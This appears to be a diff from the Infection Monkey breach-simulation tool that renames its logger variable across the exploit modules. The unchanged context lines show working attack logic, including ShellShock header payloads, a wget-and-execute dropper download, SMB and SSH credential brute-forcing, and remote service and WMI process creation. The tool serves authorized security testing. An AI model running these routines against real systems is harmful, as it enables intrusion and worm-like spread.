ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
|
||||
"name", "create"
|
||||
).add_parameter("ArgumentList", cmd)
|
||||
ps.invoke()
|
|
@ -44,7 +44,7 @@ from infection_monkey.pyinstaller_utils import get_binary_file_path
|
|||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SambaCryExploiter(HostExploiter):
|
||||
|
@ -79,7 +79,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Writable shares and their credentials on host %s: %s"
|
||||
% (self.host.ip_addr, str(writable_shares_creds_dict))
|
||||
)
|
||||
|
@ -121,14 +121,14 @@ class SambaCryExploiter(HostExploiter):
|
|||
self.exploit_info["shares"][share]["fullpath"] = fullpath
|
||||
|
||||
if len(successfully_triggered_shares) > 0:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Shares triggered successfully on host %s: %s"
|
||||
% (self.host.ip_addr, str(successfully_triggered_shares))
|
||||
)
|
||||
self.add_vuln_port(self.SAMBA_PORT)
|
||||
return True
|
||||
else:
|
||||
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
logger.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def try_exploit_share(self, share, creds):
|
||||
|
@ -142,7 +142,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
self.upload_module(smb_client, share)
|
||||
self.trigger_module(smb_client, share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Exception trying to exploit host: %s, share: %s, with creds: %s."
|
||||
% (self.host.ip_addr, share, str(creds))
|
||||
)
|
||||
|
@ -205,7 +205,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
writable_shares_creds_dict = {}
|
||||
credentials_list = self.get_credentials_list()
|
||||
|
||||
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
|
||||
logger.debug("SambaCry credential list: %s" % str(credentials_list))
|
||||
|
||||
for credentials in credentials_list:
|
||||
try:
|
||||
|
@ -246,13 +246,13 @@ class SambaCryExploiter(HostExploiter):
|
|||
:return: True if victim is vulnerable, False otherwise
|
||||
"""
|
||||
if SMB_SERVICE not in self.host.services:
|
||||
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||
logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
pattern = re.compile(r"\d*\.\d*\.\d*")
|
||||
smb_server_name = self.host.services[SMB_SERVICE].get("name")
|
||||
if not smb_server_name:
|
||||
LOG.info("Host: %s refused SMB connection" % self.host.ip_addr)
|
||||
logger.info("Host: %s refused SMB connection" % self.host.ip_addr)
|
||||
return False
|
||||
samba_version = "unknown"
|
||||
pattern_result = pattern.search(smb_server_name)
|
||||
|
@ -286,7 +286,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
# If pattern doesn't match we can't tell what version it is. Better try
|
||||
is_vulnerable = True
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
|
||||
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
|
||||
)
|
||||
|
@ -408,7 +408,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
:param share: share name
|
||||
:return: True if share is writable, False otherwise.
|
||||
"""
|
||||
LOG.debug("Checking %s for write access" % share)
|
||||
logger.debug("Checking %s for write access" % share)
|
||||
try:
|
||||
tree_id = smb_client.connectTree(share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
|
@ -510,7 +510,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
# paths to NT style
|
||||
# to make things easier for the caller. Not this time ;)
|
||||
treeId = smb_client.connectTree("IPC$")
|
||||
LOG.debug("Triggering path: %s" % pathName)
|
||||
logger.debug("Triggering path: %s" % pathName)
|
||||
|
||||
if smb_client.getDialect() == SMB_DIALECT:
|
||||
_, flags2 = smb_client.getSMBServer().get_flags()
|
||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.model import DROPPER_ARG
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
TIMEOUT = 2
|
||||
TEST_COMMAND = "/bin/uname -a"
|
||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||
|
@ -55,7 +55,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
http_ports = [port[0] for port in valid_ports if not port[1]]
|
||||
https_ports = [port[0] for port in valid_ports if port[1]]
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Scanning %s, ports [%s] for vulnerable CGI pages"
|
||||
% (self.host, ",".join([str(port[0]) for port in valid_ports]))
|
||||
)
|
||||
|
@ -77,7 +77,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
# now try URLs until we install something on victim
|
||||
for _, url, header, exploit in exploitable_urls:
|
||||
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
|
||||
logger.info("Trying to attack host %s with %s URL" % (self.host, url))
|
||||
# same attack script as sshexec
|
||||
# for any failure, quit and don't try other URLs
|
||||
if not self.host.os.get("type"):
|
||||
|
@ -87,10 +87,12 @@ class ShellShockExploiter(HostExploiter):
|
|||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
else:
|
||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||
logger.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
||||
logger.debug(
|
||||
"Error running uname os command on victim %r: (%s)", self.host, exc
|
||||
)
|
||||
return False
|
||||
if not self.host.os.get("machine"):
|
||||
try:
|
||||
|
@ -99,7 +101,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
if "" != uname_machine:
|
||||
self.host.os["machine"] = uname_machine.lower().strip()
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
||||
)
|
||||
return False
|
||||
|
@ -109,7 +111,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
if self.skip_exist and (
|
||||
self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
|
||||
):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, "
|
||||
"done" % self.host
|
||||
)
|
||||
|
@ -117,17 +119,17 @@ class ShellShockExploiter(HostExploiter):
|
|||
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
if not self._create_lock_file(exploit, url, header):
|
||||
LOG.info("Another monkey is running shellshock exploit")
|
||||
logger.info("Another monkey is running shellshock exploit")
|
||||
return True
|
||||
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
|
||||
logger.debug("Exploiter ShellShock failed, http transfer creation failed.")
|
||||
return False
|
||||
|
||||
download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux)
|
||||
|
@ -148,7 +150,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
url, header, exploit, dropper_target_path_linux
|
||||
)
|
||||
):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
logger.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
continue
|
||||
|
||||
# turn the monkey into an executable
|
||||
|
@ -169,7 +171,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
run_path = exploit + cmdline
|
||||
self.attack_page(url, header, run_path)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
|
@ -181,7 +183,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
url, header, exploit, self._config.monkey_log_path_linux
|
||||
)
|
||||
):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
logger.info("Log file does not exist, monkey might not have run")
|
||||
continue
|
||||
self.add_executed_cmd(cmdline)
|
||||
return True
|
||||
|
@ -198,7 +200,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
run_path = exploit + cmdline
|
||||
resp = cls.attack_page(url, header, run_path)
|
||||
if resp:
|
||||
LOG.info("File %s exists on remote host" % file_path)
|
||||
logger.info("File %s exists on remote host" % file_path)
|
||||
return resp
|
||||
|
||||
def attempt_exploit(self, url, attacks=None):
|
||||
|
@ -208,17 +210,17 @@ class ShellShockExploiter(HostExploiter):
|
|||
if not attacks:
|
||||
attacks = self._attacks
|
||||
|
||||
LOG.debug("Attack Flag is: %s" % self.success_flag)
|
||||
logger.debug("Attack Flag is: %s" % self.success_flag)
|
||||
|
||||
LOG.debug("Trying exploit for %s" % url)
|
||||
logger.debug("Trying exploit for %s" % url)
|
||||
for header, exploit in list(attacks.items()):
|
||||
attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND
|
||||
result = self.attack_page(url, header, attack)
|
||||
if self.success_flag in result:
|
||||
LOG.info("URL %s looks vulnerable" % url)
|
||||
logger.info("URL %s looks vulnerable" % url)
|
||||
return True, url, header, exploit
|
||||
else:
|
||||
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
|
||||
logger.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
|
||||
return (False,)
|
||||
|
||||
def _create_lock_file(self, exploit, url, header):
|
||||
|
@ -236,15 +238,15 @@ class ShellShockExploiter(HostExploiter):
|
|||
def attack_page(url, header, attack):
|
||||
result = ""
|
||||
try:
|
||||
LOG.debug("Header is: %s" % header)
|
||||
LOG.debug("Attack is: %s" % attack)
|
||||
logger.debug("Header is: %s" % header)
|
||||
logger.debug("Attack is: %s" % attack)
|
||||
r = requests.get( # noqa: DUO123
|
||||
url, headers={header: attack}, verify=False, timeout=TIMEOUT
|
||||
)
|
||||
result = r.content.decode()
|
||||
return result
|
||||
except requests.exceptions.RequestException as exc:
|
||||
LOG.debug("Failed to run, exception %s" % exc)
|
||||
logger.debug("Failed to run, exception %s" % exc)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
|
@ -267,7 +269,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
timeout = True
|
||||
break
|
||||
if timeout:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Some connections timed out while sending request to potentially vulnerable "
|
||||
"urls."
|
||||
)
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.network.tools import check_tcp_port
|
|||
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
class SmbExploiter(HostExploiter):
|
||||
|
@ -50,7 +50,7 @@ class SmbExploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
@ -71,7 +71,7 @@ class SmbExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
if remote_full_path is not None:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
|
||||
"%s : (SHA-512) %s)",
|
||||
self.host,
|
||||
|
@ -95,7 +95,7 @@ class SmbExploiter(HostExploiter):
|
|||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Exception when trying to copy file using SMB to %r with user:"
|
||||
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
||||
"SHA-512): %s: (%s)",
|
||||
|
@ -109,7 +109,7 @@ class SmbExploiter(HostExploiter):
|
|||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter SmbExec is giving up...")
|
||||
logger.debug("Exploiter SmbExec is giving up...")
|
||||
return False
|
||||
|
||||
self.set_vulnerable_port()
|
||||
|
@ -145,7 +145,7 @@ class SmbExploiter(HostExploiter):
|
|||
try:
|
||||
scmr_rpc.connect()
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Can't connect to SCM on exploited machine %r port %s : %s",
|
||||
self.host,
|
||||
port,
|
||||
|
@ -183,7 +183,7 @@ class SmbExploiter(HostExploiter):
|
|||
scmr.hRDeleteService(scmr_rpc, service)
|
||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path,
|
||||
self.host,
|
||||
|
|
|
@ -16,7 +16,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
SSH_PORT = 22
|
||||
TRANSFER_UPDATE_RATE = 15
|
||||
|
||||
|
@ -33,7 +33,7 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
def log_transfer(self, transferred, total):
|
||||
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
|
||||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
self._update_timestamp = time.time()
|
||||
|
||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||
|
@ -49,17 +49,17 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||
LOG.error("Failed reading ssh key")
|
||||
logger.error("Failed reading ssh key")
|
||||
try:
|
||||
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Successfully logged in %s using %s users private key", self.host, ssh_string
|
||||
)
|
||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||
return ssh
|
||||
except Exception:
|
||||
ssh.close()
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error logging into victim %r with %s" " private key", self.host, ssh_string
|
||||
)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
|
@ -76,7 +76,7 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
||||
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||
self.host,
|
||||
user,
|
||||
|
@ -87,7 +87,7 @@ class SSHExploiter(HostExploiter):
|
|||
return ssh
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error logging into victim %r with user"
|
||||
" %s and password (SHA-512) '%s': (%s)",
|
||||
self.host,
|
||||
|
@ -110,7 +110,7 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||
if not is_open:
|
||||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||
logger.info("SSH port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
try:
|
||||
|
@ -119,7 +119,7 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
ssh = self.exploit_with_login_creds(port)
|
||||
except FailedExploitationError:
|
||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||
logger.debug("Exploiter SSHExploiter is giving up...")
|
||||
return False
|
||||
|
||||
if not self.host.os.get("type"):
|
||||
|
@ -129,10 +129,10 @@ class SSHExploiter(HostExploiter):
|
|||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
else:
|
||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||
logger.info("SSH Skipping unknown os: %s", uname_os)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
||||
if not self.host.os.get("machine"):
|
||||
|
@ -142,7 +142,9 @@ class SSHExploiter(HostExploiter):
|
|||
if "" != uname_machine:
|
||||
self.host.os["machine"] = uname_machine
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc)
|
||||
logger.debug(
|
||||
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
||||
)
|
||||
|
||||
if self.skip_exist:
|
||||
_, stdout, stderr = ssh.exec_command(
|
||||
|
@ -151,7 +153,7 @@ class SSHExploiter(HostExploiter):
|
|||
stdout_res = stdout.read().strip()
|
||||
if stdout_res:
|
||||
# file exists
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Host %s was already infected under the current configuration, "
|
||||
"done" % self.host
|
||||
)
|
||||
|
@ -160,7 +162,7 @@ class SSHExploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
try:
|
||||
|
@ -183,7 +185,7 @@ class SSHExploiter(HostExploiter):
|
|||
).send()
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
T1105Telem(
|
||||
|
@ -200,7 +202,7 @@ class SSHExploiter(HostExploiter):
|
|||
cmdline += " > /dev/null 2>&1 &"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
|
@ -212,5 +214,5 @@ class SSHExploiter(HostExploiter):
|
|||
return True
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
||||
return False
|
||||
|
|
|
@ -13,7 +13,7 @@ import urllib.request
|
|||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
DOWNLOAD_TIMEOUT = 300
|
||||
|
||||
|
@ -53,7 +53,7 @@ class Struts2Exploiter(WebRCE):
|
|||
request, context=ssl._create_unverified_context() # noqa: DUO122
|
||||
).geturl()
|
||||
except urllib.error.URLError:
|
||||
LOG.error("Can't reach struts2 server")
|
||||
logger.error("Can't reach struts2 server")
|
||||
return False
|
||||
|
||||
def exploit(self, url, cmd):
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
import logging
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def try_get_target_monkey(host):
|
||||
|
@ -60,7 +60,7 @@ def get_monkey_dest_path(url_to_monkey):
|
|||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if "linux" in url_to_monkey:
|
||||
|
@ -70,13 +70,13 @@ def get_monkey_dest_path(url_to_monkey):
|
|||
elif "windows-64" in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen."
|
||||
)
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey"
|
||||
)
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.network.info import get_free_tcp_port
|
|||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
|
@ -45,7 +45,7 @@ class HTTPTools(object):
|
|||
)
|
||||
if not http_path:
|
||||
raise Exception("Http transfer creation failed.")
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
logger.info("Started http server on %s", http_path)
|
||||
return http_path, http_thread
|
||||
|
||||
@staticmethod
|
||||
|
@ -68,7 +68,7 @@ class HTTPTools(object):
|
|||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
|
|
|
@ -1,8 +1,5 @@
|
|||
import logging
|
||||
import textwrap
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Payload(object):
|
||||
"""
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.config import Configuration
|
|||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
|
@ -33,7 +33,7 @@ class SmbTools(object):
|
|||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
|
||||
"'%s',"
|
||||
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
|
||||
|
@ -54,7 +54,7 @@ class SmbTools(object):
|
|||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s", host, exc)
|
||||
logger.debug("Error requesting server info from %r over SMB: %s", host, exc)
|
||||
return None
|
||||
|
||||
info = {
|
||||
|
@ -66,12 +66,12 @@ class SmbTools(object):
|
|||
"simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"],
|
||||
}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
|
||||
logger.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc)
|
||||
logger.debug("Error enumerating server shares from %r over SMB: %s", host, exc)
|
||||
return None
|
||||
|
||||
resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"]
|
||||
|
@ -87,14 +87,14 @@ class SmbTools(object):
|
|||
max_uses = resp[i]["shi2_max_uses"]
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name,
|
||||
host,
|
||||
)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name,
|
||||
host,
|
||||
|
@ -125,12 +125,12 @@ class SmbTools(object):
|
|||
try:
|
||||
smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
|
||||
)
|
||||
continue
|
||||
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name,
|
||||
share_path,
|
||||
|
@ -146,10 +146,10 @@ class SmbTools(object):
|
|||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
logger.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Remote monkey file is found but different, moving along with " "attack"
|
||||
)
|
||||
except Exception:
|
||||
|
@ -165,7 +165,7 @@ class SmbTools(object):
|
|||
T1105Telem(
|
||||
ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path
|
||||
).send()
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path,
|
||||
share_name,
|
||||
|
@ -175,7 +175,7 @@ class SmbTools(object):
|
|||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
|
||||
)
|
||||
T1105Telem(
|
||||
|
@ -194,7 +194,7 @@ class SmbTools(object):
|
|||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Couldn't find a writable share for exploiting victim %r with "
|
||||
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
||||
"SHA-512): %s",
|
||||
|
@ -213,12 +213,14 @@ class SmbTools(object):
|
|||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc)
|
||||
logger.debug(
|
||||
"SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc
|
||||
)
|
||||
|
||||
try:
|
||||
smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc)
|
||||
logger.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {
|
||||
|
@ -231,7 +233,7 @@ class SmbTools(object):
|
|||
try:
|
||||
smb.login(username, password, "", lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
|
||||
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
|
||||
host,
|
||||
|
|
|
@ -5,7 +5,7 @@ from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
|||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
|
@ -119,7 +119,7 @@ class WmiTools(object):
|
|||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
logger.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ from infection_monkey.model import (
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
FTP_PORT = 21 # port at which vsftpd runs
|
||||
|
@ -51,7 +51,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
s.connect((ip_addr, port))
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
|
||||
logger.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def socket_send_recv(self, s, message):
|
||||
|
@ -59,7 +59,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
s.send(message)
|
||||
return s.recv(RECV_128).decode("utf-8")
|
||||
except socket.error as e:
|
||||
LOG.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def socket_send(self, s, message):
|
||||
|
